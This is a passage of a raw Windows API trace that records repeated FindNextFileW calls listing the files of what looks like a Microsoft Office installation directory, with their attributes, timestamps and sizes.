ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x359640, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPTICO.EXE", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x18ccc9d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x18ccc9d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x18f2ea7, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x32ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJIMPT.EXE", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x436ad46, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x274a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROJMODL.DLL", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39bed4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb0d2731, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb0d2731, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd41f54a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdec90856, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xded02ee7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14c660, dwReserved0=0x0, dwReserved1=0x0, cFileName="PropertyModel.dll", cAlternateFileName="PROPER~1.DLL")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd504421, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd504421, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd52a5db, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x78ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PropertyModelProxy.dll", cAlternateFileName="PROPER~2.DLL")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4f7cb47, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x10e0d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPRPT.DLL", cAlternateFileName="")) returned 1 [0130.341] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2169a085, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xe8450, dwReserved0=0x0, dwReserved1=0x0, cFileName="protocolhandler.exe", cAlternateFileName="PROTOC~1.EXE")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x7d7750, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2ae68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRTF9.DLL", cAlternateFileName="")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd504421, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd504421, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdecdccb3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x151448, dwReserved0=0x0, dwReserved1=0x0, cFileName="Psom.dll", cAlternateFileName="")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2169a085, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x270a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSTPRX32.DLL", cAlternateFileName="")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc348b22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc348b22, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdd01a5a4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe7a68, dwReserved0=0x0, dwReserved1=0x0, cFileName="PTXT9.DLL", cAlternateFileName="")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x246bb96e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x246bb96e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBBA", cAlternateFileName="")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2296098c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd0460, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBCONV.DLL", cAlternateFileName="")) returned 1 [0130.342] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc7288ca, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc7288ca, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7288ca, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf658, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBTRAP.DLL", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc3bb225, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x241382dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x241382dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PUBWIZ", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeda173cc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUERIES", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd71a51a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd71a51a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xad30, dwReserved0=0x0, dwReserved1=0x0, cFileName="rdpqoemetrics.dll", cAlternateFileName="RDPQOE~1.DLL")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECALL.DLL", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc640, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFEDIT.DLL", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23572815, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1a900, dwReserved0=0x0, dwReserved1=0x0, cFileName="REMINDER.WAV", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb7c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Resources.pri", cAlternateFileName="RESOUR~1.PRI")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeddf70e2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeddf70e2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x353f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSWOP.ICM", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd5c3007, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdecdccb3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf2ac886, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x377cb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtmcodecs.dll", cAlternateFileName="RTMCOD~1.DLL")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd7406da, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd7406da, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdee5a425, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe44d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtmmediamanager.dll", cAlternateFileName="RTMMED~1.DLL")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd7406da, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdee341d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdee5a425, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtmmvras.dll", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd7406da, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd7406da, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xdab0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtmmvrcs.dll", cAlternateFileName="")) returned 1 [0130.343] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23572815, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x126b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtmmvrhw.dll", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd7406da, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd7406da, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcd7406da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa0c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtmmvrsplitter.dll", cAlternateFileName="RTMMVR~1.DLL")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd7d90de, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xdee341d6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf2866d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1584a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rtmpal.dll", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcd8bdf22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcd8bdf22, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xdf2866d8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8582b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RTMPLTFM.dll", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23572815, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x568c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtmvc1decmft.dll", cAlternateFileName="RTMVC1~1.DLL")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x23598a6d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4a860, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAEXT.DLL", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAMPLES", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x8aa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVASWEB.DLL", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1db7a09, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1db7a09, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3ea6336, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x278e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBHF.DLL", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1e9c9a8, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x42ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBRAS.DLL", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4fef2b0, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x406d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBVML.DLL", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x410878a, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2ac70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SAVWBXAML.DLL", cAlternateFileName="SAVWBX~1.DLL")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1ba7093, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1ba7093, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd4e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCANPST.EXE", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="scdec.dll", cAlternateFileName="")) returned 1 [0130.344] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1bcd2cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe1bcd2cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee6030d6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST32.DLL", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1ba7093, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee2495d5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee2e1f46, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x918f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST64.DLL", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe1ba7093, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee0cbdbe, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee295a70, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc2c98, dwReserved0=0x0, dwReserved1=0x0, cFileName="SCNPST64C.DLL", cAlternateFileName="SCNPST~1.DLL")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe261555e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe261555e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe274684a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x66e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="SELFCERT.EXE", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf637b042, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x72b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SENDTO.DLL", cAlternateFileName="")) returned 1 [0130.345] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1f59e710 | out: lpFindFileData=0x1f59e710*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xede1d373, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xede1d373, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEQCHK10.DLL", 